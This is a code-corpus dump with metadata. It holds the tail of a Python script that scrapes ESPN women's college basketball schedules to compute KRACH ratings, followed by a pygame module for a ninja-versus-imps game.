dictionary.values():\n\t\tyield i\n\nasync def getD1teamschedulejson(teamid, session):\n\t#print('getting '+str(teamid))\n\tschedulejson = None\n\twhile not schedulejson:\n\t\tasync with session.get('https://www.espn.com/womens-college-basketball/team/schedule/_/id/'+str(teamid)) as resp:\n\t\t\ttry:\n\t\t\t\twith async_timeout.timeout(5.0):\n\t\t\t\t\thtml = await asyncio.wait_for(resp.text(), timeout=5.0)\n\t\t\texcept asyncio.TimeoutError:\n\t\t\t\t#print('still waiting for '+str(teamid)+', restarting')\n\t\t\t\tcontinue\n\t\t\ttry:\n\t\t\t\tschedulesoup = BeautifulSoup(html, 'lxml', parse_only=SoupStrainer(text=lambda string: string.startswith(\"window['__espnfitt__']\")))\n\t\t\t\tschedulejson = json.loads(schedulesoup.text[23:-1])['page']['content']['scheduleData']\n\t\t\texcept json.decoder.JSONDecodeError:\n\t\t\t\t#print('problem with '+str(teamid))\n\t\t\t\tpass\n\t#print('done getting '+str(teamid))\n\treturn teamid, schedulejson\n\ndef processschedulejson(teams, team, schedulejson):\n\tgames = dict()\n\tteam.shortname = schedulejson['team']['abbrev']\n\tgamesjson = list(itertools.chain.from_iterable([schedule['events']['post'] for schedule in schedulejson['teamSchedule']]))\n\tfor gamejson in gamesjson:\n\t\tgameid = int(gamejson['time']['link'].split('=')[1])\n\t\tdatetime = dt.datetime.strptime(gamejson['date']['date'], '%Y-%m-%dT%H:%MZ').replace(tzinfo=dt.timezone.utc)\n\t\t\n\t\topponentjson = gamejson['opponent']\n\t\topponentid = int(opponentjson['id'])\n\t\tif opponentid not in teams:\n\t\t\ttry:\n\t\t\t\topponentshortname = opponentjson['abbrev']\n\t\t\texcept KeyError:\n\t\t\t\topponentshortname = None\t\n\t\t\topponent = Team(opponentid, opponentjson['displayName'], shortname=opponentshortname)\n\t\t\tteams[opponentid] = opponent\n\t\telse:\n\t\t\topponent = teams[opponentid]\n\t\tvsat = opponentjson['homeAwaySymbol']\n\t\tneutralsite = opponentjson['neutralSite']\n\t\t\n\t\tresult = gamejson['result']\n\t\tteamscore = int(result['currentTeamScore'])\n\t\topponentscore = int(result['opponentTeamScore'])\n\t\t\n\t\ttry:\n\t\t\tovertime = result['overtime']\n\t\t\tif overtime == 'OT':\n\t\t\t\tots = 1\n\t\t\telse:\n\t\t\t\tots = int(overtime[:-2])\n\t\texcept KeyError:\n\t\t\tots = 0\n\n\t\tif vsat == 'vs':\n\t\t\tif neutralsite:\n\t\t\t\tgameteams = sorted([[team, teamscore], [opponent, opponentscore]], key=lambda x: x[0].teamid)\n\t\t\t\thometeam = gameteams[0][0]\n\t\t\t\thomescore = gameteams[0][1]\n\t\t\t\tawayteam = gameteams[1][0]\n\t\t\t\tawayscore = gameteams[1][1]\n\t\t\t\tgame = Game(gameid, datetime, hometeam, homescore, awayteam, awayscore, ots=ots)\n\t\t\t\tgames[gameid] = game\n\t\t\telse:\n\t\t\t\thometeam = team\n\t\t\t\thomescore = teamscore\n\t\t\t\tawayteam = opponent\n\t\t\t\tawayscore = opponentscore\n\t\t\t\tgame = Game(gameid, datetime, hometeam, homescore, awayteam, awayscore, ots=ots)\n\t\t\t\tgames[gameid] = game\n\t\telif vsat == '@':\n\t\t\thometeam = opponent\n\t\t\thomescore = opponentscore\n\t\t\tawayteam = team\n\t\t\tawayscore = teamscore\n\t\t\tgame = Game(gameid, datetime, hometeam, homescore, awayteam, awayscore, ots=ots)\n\t\t\tgames[gameid] = game\n\treturn games\n\nasync def getD1teamsgames(savefile=None):\n\tasync with aiohttp.ClientSession() as session:\n\t\tteams = await getD1teams(session)\n\t\tschedulejsons = await asyncio.gather(*[getD1teamschedulejson(team.teamid, session) async for team in dictyieldvalues(teams)])\n\tgames = dict()\n\tfor teamid, schedulejson in schedulejsons:\n\t\tgames.update(processschedulejson(teams, teams[teamid], schedulejson))\n\tfor game in games.values():\n\t\tgame.hometeam.games.add(game)\n\t\tgame.awayteam.games.add(game)\n\treturn teams, games\n\n#KRACH rankings\ndef cleanexistingties(teamsin, gamesin):\n\tteams = {team.teamid: Team(team.teamid, team.longname, shortname=team.shortname, isd1=team.isd1, conference=team.conference) for team in teamsin.values()}\n\tgames = {game.gameid: Game(game.gameid, game.time, teams[game.hometeam.teamid], game.homescore, teams[game.awayteam.teamid], game.awayscore) for game in gamesin.values() if game.winner()}\n\tfor game in list(games.values()):\n\t\tgame.hometeam.games.add(game)\n\t\tgame.awayteam.games.add(game)\n\treturn teams, games\n\ndef cleanbeforetime(time, teamsin, gamesin):\n\tteams = {team.teamid: Team(team.teamid, team.longname, shortname=team.shortname, isd1=team.isd1, conference=team.conference) for team in teamsin.values()}\n\tgames = {game.gameid: Game(game.gameid, game.time, teams[game.hometeam.teamid], game.homescore, teams[game.awayteam.teamid], game.awayscore) for game in gamesin.values() if game.time >= time}\n\tfor game in list(games.values()):\n\t\tgame.hometeam.games.add(game)\n\t\tgame.awayteam.games.add(game)\n\treturn teams, games\n\ndef cleanaftertime(time, teamsin, gamesin):\n\tteams = {team.teamid: Team(team.teamid, team.longname, shortname=team.shortname, isd1=team.isd1, conference=team.conference) for team in teamsin.values()}\n\tgames = {game.gameid: Game(game.gameid, game.time, teams[game.hometeam.teamid], game.homescore, teams[game.awayteam.teamid], game.awayscore) for game in gamesin.values() if game.time < time}\n\tfor game in list(games.values()):\n\t\tgame.hometeam.games.add(game)\n\t\tgame.awayteam.games.add(game)\n\treturn teams, games\n\ndef numplayed(team1, team2):\n\treturn len(team1.games.intersection(team2.games))\n\ndef sos(krachratings, team):\n\treturn gmean([krachratings[team.opponent(game).teamid] for game in team.games if team.opponent(game).isd1])\n\ndef oocsos(krachratings, team):\n\treturn gmean([krachratings[team.opponent(game).teamid] for game in team.games if team.opponent(game).isd1 and team.opponent(game).conference != team.conference])\n\n'''def sos(krachratings, team):\n\treturn sum(krachratings[opponent.teamid]*numplayed(team, opponent)/(krachratings[opponent.teamid]+krachratings[team.teamid]) for opponent in team.D1opponents())/sum(numplayed(team, opponent)/(krachratings[opponent.teamid]+krachratings[team.teamid]) for opponent in team.D1opponents())'''\n\ndef conferencestrength(krachratings, teams, conference):\n\treturn gmean([krachratings[team.teamid] for team in teams.values() if team.conference == conference])\n\ndef victorypoints(team, alpha):\n\tD1winslosses = team.D1winslosses()\n\treturn sum([1/(1+math.exp(-game.pointdifferential()/(alpha*game.pointtotal()))) for game in D1winslosses[0]]+[1/(1+math.exp(game.pointdifferential()/(alpha*game.pointtotal()))) for game in D1winslosses[1]])\n\ndef rrwp(krachratings, team):\n\tteamrating = krachratings[team.teamid]\n\treturn sum([teamrating/(teamrating+krachratings[opponentid]) for opponentid in krachratings if opponentid != team.teamid])/(len(krachratings)-1)\n\ndef rrwpkrach(krachratings, rating):\n\treturn sum([rating/(rating+opprating) for opprating in krachratings.values()])/len(krachratings)\n\ndef krachadj(krachratings):\n\treturn scipy.optimize.fsolve(lambda rating: rrwpkrach(krachratings, rating)-0.5, 100)[0]\n\ndef calckrachratings(teamsin, gamesin, vpalpha=5, goaldelta=1e-10, time=None, sincetime=None, savefile=None, calcteamsos=True):\n\tteams, games = cleanexistingties(teamsin, gamesin)\n\tif time:\n\t\tteams, games = cleanaftertime(time, teams, games)\n\tif sincetime:\n\t\tteams, games = cleanbeforetime(sincetime, teams, games)\n\tD1teams = {team.teamid: team for team in teams.values() if team.isd1}\n\t\n\tkrachratings = {teamid: 100. for teamid, team in D1teams.items() if team.isd1}\n\t\n\titerations = 0\n\talphaadj = vpalpha/mean([game.pointtotal() for game in games.values() if game.hometeam.isd1 and game.awayteam.isd1])\n\tvictorypoints_dict = dict()\n\tD1opponents_dict = dict()\n\tnumplayed_dict = dict()\n\tfor team in D1teams.values():\n\t\t\tvictorypoints_dict[team] = victorypoints(team, alphaadj)\n\t\t\tD1opponents = team.D1opponents()\n\t\t\tD1opponents_dict[team] = D1opponents\n\t\t\tfor opponent in D1opponents:\n\t\t\t\tnumplayed_dict[frozenset({team, opponent})] = numplayed(team, opponent)\n\twhile True:\n\t\tprint('Iteration '+str(iterations+1))\n\t\tnewkrachratings = dict(krachratings)\n\t\tdelta = 0.\n\t\t\n\t\tfor team in D1teams.values():\n\t\t\tnewkrachratings[team.teamid] = victorypoints_dict[team]/sum(numplayed_dict[frozenset({team, opponent})]/(krachratings[team.teamid]+krachratings[opponent.teamid]) for opponent in D1opponents_dict[team])\n\t\t\tdelta += abs(newkrachratings[team.teamid]-krachratings[team.teamid])\n\t\t\n\t\tkrachratings = dict(newkrachratings)\n\t\t\n\t\tprint(delta)\n\t\tif delta < goaldelta*gmean(list(krachratings.values())):\n\t\t\tadj = krachadj(krachratings)\n\t\t\tkrachratings = {k: v*100/adj for k, v in krachratings.items()}\n\t\t\tbreak\n\t\t\n\t\titerations += 1\n\tif calcteamsos:\n\t\tteamsos = {team.teamid: sos(krachratings, team) for team in D1teams.values()}\n\tif savefile:\n\t\tif calcteamsos:\n\t\t\tpickle.dump([krachratings, teamsos], open(savefile,'wb'))\n\t\telse:\n\t\t\tpickle.dump(krachratings, open(savefile,'wb'))\n\tif calcteamsos:\n\t\treturn krachratings, teamsos\n\telse:\n\t\treturn krachratings\n\ndef calckrachratingsold(teamsin, gamesin, goaldelta=1e-10, time=None, savefile=None, calcteamsos=True):\n\tteams, games = cleanexistingties(teamsin, gamesin)\n\tif time:\n\t\tteams, games = cleanaftertime(time, teams, games)\n\tD1teams = {team.teamid: team for team in teams.values() if team.isd1}\n\t\n\tif [team for team in D1teams.values() if (not team.D1winslosses()[0] or not team.D1winslosses()[1])]:\n\t\tneedbogusteam = True\n\telse:\n\t\tneedbogusteam = False\n\tkrachratings = {teamid: 100. for teamid, team in D1teams.items() if team.isd1}\n\tif needbogusteam:\n\t\tkrachratings[-1] = 100.\n\t\n\titerations = 0\n\tnumwins_dict = dict()\n\tD1opponents_dict = dict()\n\tnumplayed_dict = dict()\n\tfor team in D1teams.values():\n\t\tnumwins_dict[team] = len(team.D1winslosses()[0])\n\t\tD1opponents = team.D1opponents()\n\t\tD1opponents_dict[team] = D1opponents\n\t\tfor opponent in D1opponents:\n\t\t\tnumplayed_dict[frozenset({team, opponent})] = numplayed(team, opponent)\n\twhile True:\n\t\tprint('Iteration '+str(iterations+1))\n\t\tnewkrachratings = dict(krachratings)\n\t\tdelta = 0.\n\t\t\n\t\tif not needbogusteam:\n\t\t\tfor team in D1teams.values():\n\t\t\t\tnewkrachratings[team.teamid] = numwins_dict[team]/sum(numplayed_dict[frozenset({team, opponent})]/(krachratings[team.teamid]+krachratings[opponent.teamid]) for opponent in D1opponents_dict[team])\n\t\t\t\tdelta += abs(newkrachratings[team.teamid]-krachratings[team.teamid])\n\t\tif needbogusteam:\n\t\t\tfor team in D1teams.values():\n\t\t\t\tnewkrachratings[team.teamid] = (numwins_dict[team]+0.5)/(1/(krachratings[team.teamid]+krachratings[-1])+sum(numplayed_dict[frozenset({team, opponent})]/(krachratings[team.teamid]+krachratings[opponent.teamid]) for opponent in D1opponents_dict[team]))\n\t\t\t\tdelta += abs(newkrachratings[team.teamid]-krachratings[team.teamid])\n\t\t\tnewkrachratings[-1] = (len(D1teams)/2)/sum(1/(krachratings[team.teamid]+krachratings[-1]) for team in D1teams.values())\n\t\t\n\t\tkrachratings = dict(newkrachratings)\n\t\t\n\t\tprint(delta)\n\t\tif delta < goaldelta:\n\t\t\tkrachratings = {k: v*100./krachratings[-1] for k, v in krachratings.items()}\n\t\t\tbreak\n\t\t\n\t\titerations += 1\n\tif calcteamsos:\n\t\tteamsos = {team.teamid: sos(krachratings, team) for team in D1teams.values()}\n\tif savefile:\n\t\tif calcteamsos:\n\t\t\tpickle.dump([krachratings, teamsos], open(savefile,'wb'))\n\t\telse:\n\t\t\tpickle.dump(krachratings, open(savefile,'wb'))\n\tif calcteamsos:\n\t\treturn krachratings, teamsos\n\telse:\n\t\treturn krachratings\n", "repo_name": "michaellee94/NCAAW", "sub_path": "NCAAW.py", "file_name": "NCAAW.py", "file_ext": "py", "file_size_in_byte": 15968, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "statistics.mean", "line_number": 80, "usage_type": "call"}, {"api_name": "statistics.mean", "line_number": 83, "usage_type": "call"}, {"api_name": "pickle.dump", "line_number": 121, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 124, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 137, "usage_type": "call"}, {"api_name": "bs4.SoupStrainer", "line_number": 137, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 138, "usage_type": "call"}, {"api_name": "async_timeout.timeout", "line_number": 161, "usage_type": "call"}, {"api_name": "asyncio.wait_for", "line_number": 162, "usage_type": "call"}, {"api_name": "asyncio.TimeoutError", "line_number": 163, "usage_type": "attribute"}, {"api_name": "bs4.BeautifulSoup", "line_number": 167, "usage_type": "call"}, {"api_name": "bs4.SoupStrainer", "line_number": 167, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 168, "usage_type": "call"}, {"api_name": "json.decoder", "line_number": 169, "usage_type": "attribute"}, {"api_name": "itertools.chain.from_iterable", "line_number": 178, "usage_type": "call"}, {"api_name": "itertools.chain", "line_number": 178, "usage_type": "attribute"}, {"api_name": "datetime.datetime.strptime", "line_number": 181, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 181, "usage_type": "attribute"}, {"api_name": "datetime.timezone", "line_number": 181, "usage_type": "attribute"}, {"api_name": "aiohttp.ClientSession", "line_number": 236, "usage_type": "call"}, {"api_name": "asyncio.gather", "line_number": 238, "usage_type": "call"}, {"api_name": "scipy.stats.mstats.gmean", "line_number": 276, "usage_type": "call"}, {"api_name": "scipy.stats.mstats.gmean", "line_number": 279, "usage_type": "call"}, {"api_name": "scipy.stats.mstats.gmean", "line_number": 285, "usage_type": "call"}, {"api_name": "math.exp", "line_number": 289, "usage_type": "call"}, {"api_name": "scipy.optimize.fsolve", "line_number": 299, "usage_type": "call"}, {"api_name": "scipy.optimize", "line_number": 299, "usage_type": "attribute"}, {"api_name": "statistics.mean", "line_number": 312, "usage_type": "call"}, {"api_name": "scipy.stats.mstats.gmean", "line_number": 334, "usage_type": "call"}, {"api_name": "pickle.dump", "line_number": 344, "usage_type": "call"}, {"api_name": "pickle.dump", "line_number": 346, "usage_type": "call"}, {"api_name": "pickle.dump", "line_number": 403, "usage_type": "call"}, {"api_name": "pickle.dump", "line_number": 405, "usage_type": "call"}]}
{"seq_id": "39635255729", "text": "'''\nA function module\n'''\n\nimport pygame \nimport os \nimport random \nimport asset \nfrom asset import Block\nfrom player import Player\nfrom enemy import Portal, Imp, FatImp\nfrom bullet import Bullet\n\n#wrapper function\ndef run_game(width, height, fps, starting_scene):\n    '''\n    wrapper function that runs the whole game\n    all global variables should be defined here\n    '''\n    os.environ['SDL_VIDEO_CENTERED'] = '1'\n    pygame.init()\n    window = pygame.display.set_mode((width, height))\n    pygame.display.set_caption(\"Imps & Assasin\")\n    clock = pygame.time.Clock()\n    font = pygame.font.SysFont(\"calibri\", 30)\n    font_small = pygame.font.SysFont(\"calibri\", 25)\n    \n    #instantiate sprite objects \n    assasin = Player(asset.NINJA_R[0])\n    #add sprites to groups\n    asset.PLAYER_GROUP.add(assasin)\n\n    active_scene = starting_scene\n\n    #GAME LOOP###\n    while active_scene != None:\n        key = pygame.key.get_pressed()\n        \n        # Event filtering\n        filtered_events = []\n        for event in pygame.event.get():\n            quit_attempt = False\n            if event.type == pygame.QUIT:\n                quit_attempt = True\n            elif event.type == pygame.KEYDOWN:\n                alt_pressed = key[pygame.K_LALT] or \\\n                              key[pygame.K_RALT]\n                if event.key == pygame.K_ESCAPE:\n                    quit_attempt = True\n                elif event.key == pygame.K_F4 and alt_pressed:\n                    quit_attempt = True\n            \n            if quit_attempt:\n                active_scene.Terminate()\n            else:\n                filtered_events.append(event)\n        \n        #pass variables to scene methods\n        active_scene.ProcessInput(filtered_events, key, assasin)\n        active_scene.Update(assasin)\n        active_scene.Render(window, font, font_small)\n        \n        active_scene = active_scene.next\n        \n        pygame.display.flip()\n\n        clock.tick(fps)\n\n\n#functions passed to player methods\ndef identify_death(player, screen, orientation):\n    if player.health <= 0:\n        if orientation == 0:\n            screen.blit(asset.NINJA_DEATH_L[player.deathblocker // 3], (player.rect.x, player.rect.y))\n        else:\n            screen.blit(asset.NINJA_DEATH_R[player.deathblocker // 3], (player.rect.x, player.rect.y)) \n\n        if player.deathblocker < 6:\n            player.deathblocker += 1     \n\ndef identify_jump_attack(player, screen, orientation):\n    if player.health > 0 and player.attack == True and player.shoot_bullet == False and player.jump == True:\n        if orientation == 0:\n            screen.blit(asset.NINJA_ATTACK_L[player.meleblocker // 3], (player.rect.x-40, player.rect.y))\n        else:\n            screen.blit(asset.NINJA_ATTACK_R[player.meleblocker // 3], (player.rect.x, player.rect.y))\n        \n        if player.jumpblocker < 6:\n            player.jumpblocker += 1\n\ndef identify_jump_throw(player, screen, orientation):\n    if player.health > 0 and player.attack == False and player.shoot_bullet == True and player.jump == True:\n        if orientation == 0:\n            screen.blit(asset.NINJA_SHOOT_L[player.throwblocker // 3], (player.rect.x, player.rect.y))\n        else:\n            screen.blit(asset.NINJA_SHOOT_R[player.throwblocker // 3], (player.rect.x, player.rect.y))\n        \n        if player.throwblocker < 6:\n            player.throwblocker += 1\n\ndef identify_jump(player, screen, orientation):\n    if player.health > 0 and player.attack == False and player.shoot_bullet == False and player.jump == True:\n        if orientation == 0:\n            screen.blit(asset.NINJA_JUMP_L[player.jumpblocker // 3], (player.rect.x, player.rect.y))\n        else:\n            screen.blit(asset.NINJA_JUMP_R[player.jumpblocker // 3], (player.rect.x, player.rect.y))\n\n        if player.jumpblocker < 6:\n            player.jumpblocker += 1\n\ndef identify_attack(player, screen, orientation):\n    if player.health > 0 and player.attack == True and player.shoot_bullet == False and player.jump == False:\n        if orientation == 0:\n            screen.blit(asset.NINJA_ATTACK_L[player.meleblocker // 3], (player.rect.x-40, player.rect.y))\n        else:\n            screen.blit(asset.NINJA_ATTACK_R[player.meleblocker // 3], (player.rect.x, player.rect.y))\n        \n        if player.jumpblocker < 6:\n            player.jumpblocker += 1\n\ndef identify_throw(player, screen, orientation):\n    if player.health > 0 and player.attack == False and player.shoot_bullet == True and player.jump == False:\n        if orientation == 0:\n            screen.blit(asset.NINJA_SHOOT_L[player.throwblocker // 3], (player.rect.x, player.rect.y))\n        else:\n            screen.blit(asset.NINJA_SHOOT_R[player.meleblocker // 3], (player.rect.x, player.rect.y))\n                \n        if player.throwblocker < 6:\n            player.throwblocker += 1\n\ndef identify_walk(player, screen, orientation):\n    if player.health > 0 and player.attack == False and player.shoot_bullet == False and player.jump == False:\n        if orientation == 0:\n            screen.blit(asset.NINJA_L[player.walkblocker // 3], (player.rect.x, player.rect.y))\n        else:\n            screen.blit(asset.NINJA_R[player.walkblocker // 3], (player.rect.x, player.rect.y))\n\n    if player.walkblocker + 1 < 9:\n        player.walkblocker += 1\n    else:\n        player.walkblocker = 0\n\n#functions passed to enemy methods\ndef enemy_walk(enemy):\n    dice_roll_1 = (random.random()*100)\n\n    if dice_roll_1 < enemy.walk_dynamics:\n        enemy.vel *= -1\n\n    if enemy.vel > 0:\n        if enemy.rect.x + enemy.vel < enemy.path[1]:\n            enemy.rect.x += enemy.vel\n        else:\n            enemy.vel *= -1\n            enemy.walkcount = 0\n    else:\n        if enemy.rect.x + enemy.vel > enemy.path[0]:\n            enemy.rect.x += enemy.vel\n        else:\n            enemy.vel *= -1\n            enemy.walkcount = 0  \n\ndef enemy_jump(enemy):\n    dice_roll_2 = (random.random()*100)\n\n    if enemy.jump == False:\n        if dice_roll_2 < enemy.jump_dynamics:\n            enemy.jump = True\n    else:\n        if enemy.jumpcount >= -10:\n            neg = 1\n            if enemy.jumpcount < 0:\n                neg = -1\n            enemy.rect.y -= (enemy.jumpcount ** 2) * enemy.jump_factor * neg\n            enemy.jumpcount -= 1\n        else:\n            enemy.rect.y = enemy.y_cap\n            enemy.jump = False\n            enemy.jumpcount = 10\n\n#functions passed to scene methods\ndef movement_manager(player):\n    #player sprite movement mechanics\n    keys = pygame.key.get_pressed()\n\n    if keys[pygame.K_LEFT] and player.rect.x > 0:\n        player.rect.x -= player.vel\n        player.right = False\n        player.left = True\n    elif keys[pygame.K_RIGHT] and player.rect.x < asset.WINDOW_W - player.rect.width:\n        player.rect.x += player.vel\n        player.right = True\n        player.left = False\n    else:\n        player.walkblocker = 0\n    #jumping mechanics\n    \ndef jump_manager(player):\n    keys = pygame.key.get_pressed()\n    if player.jump == False:\n        if keys[pygame.K_UP]:\n            player.jump = True\n    else:\n        if player.jumpcount >= -12:\n            neg = 1  \n            if player.jumpcount < 0:\n                neg = -1\n            player.rect.y -= (player.jumpcount ** 2) * 0.35 * neg\n            player.jumpcount -= 1\n\n        else:\n            player.jump = False\n            player.jumpcount = player.jumpcount_cap\n            player.rect.y = player.rect_y_cap\n\ndef shooting_manager(player):\n    #player sprite attack controls mechanics\n    keys = pygame.key.get_pressed()\n\n    #shooting bullets mechanics\n    if player.shoot_bullet == False:\n        if keys[pygame.K_x]:\n            player.shoot_bullet = True\n    else:\n        if player.left == True:\n            shuriken = Bullet(asset.BULLET_IMG,\n                              player.rect.x, player.rect.y+45, 3, -1)\n            asset.BULLET_GROUP.add(shuriken)\n            player.shoot_bullet = False\n\n        else:\n            shuriken = Bullet(asset.BULLET_IMG,\n                              player.rect.x+25, player.rect.y+45, 3, 1)\n            asset.BULLET_GROUP.add(shuriken)\n            player.shoot_bullet = False\n\ndef attack_manager(player):\n    #player sprite attack controls mechanics\n    keys = pygame.key.get_pressed()\n\n    #mele attack switch\n    if player.attack == False:\n        if keys[pygame.K_SPACE]:\n            player.attack = True\n            print(player.attack)\n    else:\n        player.attack = False\n  \ndef redraw_manager(screen, bg, font, player_container, bullet_container, enemy_container):\n    #blit background image\n    screen.blit(bg, (0, -190))\n    #render and blit text\n    text = font.render(\"Assasin HP\", 1, (250, 250, 250), )\n    screen.blit(text, (13, 25))\n    #blit static health bar (foreground)\n    screen.blit(asset.H_BAR_IMG, (10, 50))\n\n    #draw health bar\n    for player in player_container:\n        if player.health > 0: #just to make sure no leftover green bar is blitted\n            health_factor = 8 * (30 - player.health)\n            pygame.draw.rect(screen, (20, 89, 12), (15, 55, 240 - health_factor, 20))\n    #update projectile data and draw\n    for bullet in bullet_container:\n        bullet.bullet_update()\n        asset.BULLET_GROUP.draw(screen)\n    #update enemy data and draw\n    for enemy in enemy_container:\n        enemy.update()\n        enemy.draw(screen)\n        #draw health bars for enemies\n        health_factor = (60/enemy.health_cap) * (enemy.health_cap - enemy.health)\n        pygame.draw.rect(screen, (100, 0, 0), (enemy.rect.x, enemy.rect.y - 30, 60, 8))\n        pygame.draw.rect(screen, (35, 89, 12), (enemy.rect.x, enemy.rect.y - 30, 60 - health_factor, 8))\n    #draw player using sprite container\n    for player in player_container:\n        player.draw(screen) \n    \n    pygame.display.flip()\n\ndef collision_manager(player_container, bullet_container, enemy_container, block_container):\n    '''\n    this function gathers all collision methods from instantiated objects\n    and executes them\n    '''\n    #player mele attack\n    for player in player_container:\n        player.mele_enemy_collision(player, enemy_container)\n    #bullet collisions\n    for elem in bullet_container:\n        elem.bullet_enemy_collision(bullet_container, enemy_container)\n        elem.bullet_block_collision(bullet_container, block_container)\n    #enemy mele attack\n    for enemy in enemy_container:\n        for player in player_container:\n            enemy.enemy_player_collision(player, enemy, enemy.damage)\n\ndef death_manager(*args):\n    for arg in args:\n        for elem in arg:\n            if elem.health <= 0:\n                arg.remove(elem)\n                print(\"Sprite killed\")\n\ndef enemy_generator(impno, fatno, acidno, mamano, impcap, fatcap, acidcap, mamacap):\n    seed_x = random.randint(200,700)\n    portal = Portal(asset.PORTAL[0], seed_x, 25)\n    asset.ENEMY_GROUP.add(portal)\n\n    if impno > impcap:\n        for n in range(0, impcap):\n            imp = Imp(asset.IMP_R[0], asset.WINDOW_W, seed_x, 5)\n            asset.ENEMY_GROUP.add(imp)\n    else:\n        for n in range(0, impno):\n            imp = Imp(asset.IMP_R[0], asset.WINDOW_W, seed_x, 5)\n            asset.ENEMY_GROUP.add(imp)\n        \n    if fatno > fatcap:\n        for n in range(0, fatcap):\n            fat_imp = FatImp(asset.IMP_R[0], asset.WINDOW_W, seed_x, 15)\n            asset.ENEMY_GROUP.add(fat_imp)\n    else:\n        for n in range(0, fatno):\n            fat_imp = FatImp(asset.FAT_IMP_R[0], asset.WINDOW_W, seed_x, 15)\n            asset.ENEMY_GROUP.add(fat_imp)\n            \n    #add acid imp and mama imp\n\ndef transition_message(screen, font, smallfont):\n    text1 = font.render(\"You banished all imps from this land!\", 1, (250, 250, 250), )\n    text2 = font.render(\"Hit enter when you are ready to move to next map\", \n    1, (250, 250, 250))\n    screen.blit(text1, (200, 250))\n    screen.blit(text2, (130, 285))\n\ndef game_over_message(screen, font, smallfont):\n    text3 = font.render(\"YOU DIED\", 1, (250, 250, 250))\n    text4 = smallfont.render(\"Hit enter to restart\", 1, (250, 250, 250))\n    screen.blit(text3, (350, 250))\n    screen.blit(text4, (320, 290))", "repo_name": "rpast/impocalypse", "sub_path": "functions.py", "file_name": "functions.py", "file_ext": "py", "file_size_in_byte": 12170, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "os.environ", "line_number": 20, "usage_type": "attribute"}, {"api_name": "pygame.init", "line_number": 21, "usage_type": "call"}, {"api_name": "pygame.display.set_mode", "line_number": 22, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 22, "usage_type": "attribute"}, {"api_name": "pygame.display.set_caption", "line_number": 23, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 23, "usage_type": "attribute"}, {"api_name": "pygame.time.Clock", "line_number": 24, "usage_type": "call"}, {"api_name": "pygame.time", "line_number": 24, "usage_type": "attribute"}, {"api_name": "pygame.font.SysFont", "line_number": 25, "usage_type": "call"}, {"api_name": "pygame.font", "line_number": 25, "usage_type": "attribute"}, {"api_name": "pygame.font.SysFont", "line_number": 26, "usage_type": "call"}, {"api_name": "pygame.font", "line_number": 26, "usage_type": "attribute"}, {"api_name": "player.Player", "line_number": 29, "usage_type": "call"}, {"api_name": "asset.NINJA_R", "line_number": 29, "usage_type": "attribute"}, {"api_name": "asset.PLAYER_GROUP.add", "line_number": 31, "usage_type": "call"}, {"api_name": "asset.PLAYER_GROUP", "line_number": 31, "usage_type": "attribute"}, {"api_name": "pygame.key.get_pressed", "line_number": 37, "usage_type": "call"}, {"api_name": "pygame.key", "line_number": 37, "usage_type": "attribute"}, {"api_name": "pygame.event.get", "line_number": 41, "usage_type": "call"}, {"api_name": "pygame.event", "line_number": 41, "usage_type": "attribute"}, {"api_name": "pygame.QUIT", "line_number": 43, "usage_type": "attribute"}, {"api_name": "pygame.KEYDOWN", "line_number": 45, "usage_type": "attribute"}, {"api_name": "pygame.K_LALT", "line_number": 46, "usage_type": "attribute"}, {"api_name": "pygame.K_RALT", "line_number": 47, "usage_type": "attribute"}, {"api_name": "pygame.K_ESCAPE", "line_number": 48, "usage_type": "attribute"}, {"api_name": "pygame.K_F4", "line_number": 50, "usage_type": "attribute"}, {"api_name": "pygame.display.flip", "line_number": 65, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 65, "usage_type": "attribute"}, {"api_name": "player.health", "line_number": 72, "usage_type": "attribute"}, {"api_name": "asset.NINJA_DEATH_L", "line_number": 74, "usage_type": "attribute"}, {"api_name": "player.deathblocker", "line_number": 74, "usage_type": "attribute"}, {"api_name": "player.rect", "line_number": 74, "usage_type": "attribute"}, {"api_name": "asset.NINJA_DEATH_R", "line_number": 76, "usage_type": "attribute"}, {"api_name": "player.deathblocker", "line_number": 76, "usage_type": "attribute"}, {"api_name": "player.rect", "line_number": 76, "usage_type": "attribute"}, {"api_name": "player.deathblocker", "line_number": 78, "usage_type": "attribute"}, {"api_name": "player.deathblocker", "line_number": 79, "usage_type": "attribute"}, {"api_name": "player.health", "line_number": 82, "usage_type": "attribute"}, {"api_name": "player.attack", "line_number": 82, "usage_type": "attribute"}, {"api_name": "player.shoot_bullet", "line_number": 82, "usage_type": "attribute"}, {"api_name": "player.jump", "line_number": 82, "usage_type": "attribute"}, {"api_name": "asset.NINJA_ATTACK_L", "line_number": 84, "usage_type": "attribute"}, {"api_name": "player.meleblocker", "line_number": 84, "usage_type": "attribute"}, {"api_name": "player.rect", "line_number": 84, "usage_type": "attribute"}, {"api_name": "asset.NINJA_ATTACK_R", "line_number": 86, "usage_type": "attribute"}, {"api_name": "player.meleblocker", "line_number": 86, "usage_type": "attribute"}, {"api_name": "player.rect", "line_number": 86, "usage_type": "attribute"}, {"api_name": "player.jumpblocker", "line_number": 88, "usage_type": "attribute"}, {"api_name": "player.jumpblocker", "line_number": 89, "usage_type": "attribute"}, {"api_name": "player.health", "line_number": 92, "usage_type": "attribute"}, {"api_name": "player.attack", "line_number": 92, "usage_type": "attribute"}, {"api_name": "player.shoot_bullet", "line_number": 92, "usage_type": "attribute"}, {"api_name": "player.jump", "line_number": 92, "usage_type": "attribute"}, {"api_name": "asset.NINJA_SHOOT_L", "line_number": 94, "usage_type": "attribute"}, {"api_name": "player.throwblocker", "line_number": 94, "usage_type": "attribute"}, {"api_name": "player.rect", "line_number": 94, "usage_type": "attribute"}, {"api_name": "asset.NINJA_SHOOT_R", "line_number": 96, "usage_type": "attribute"}, {"api_name": "player.throwblocker", "line_number": 96, "usage_type": "attribute"}, {"api_name": "player.rect", "line_number": 96, "usage_type": "attribute"}, {"api_name": "player.throwblocker", "line_number": 98, "usage_type": "attribute"}, {"api_name": 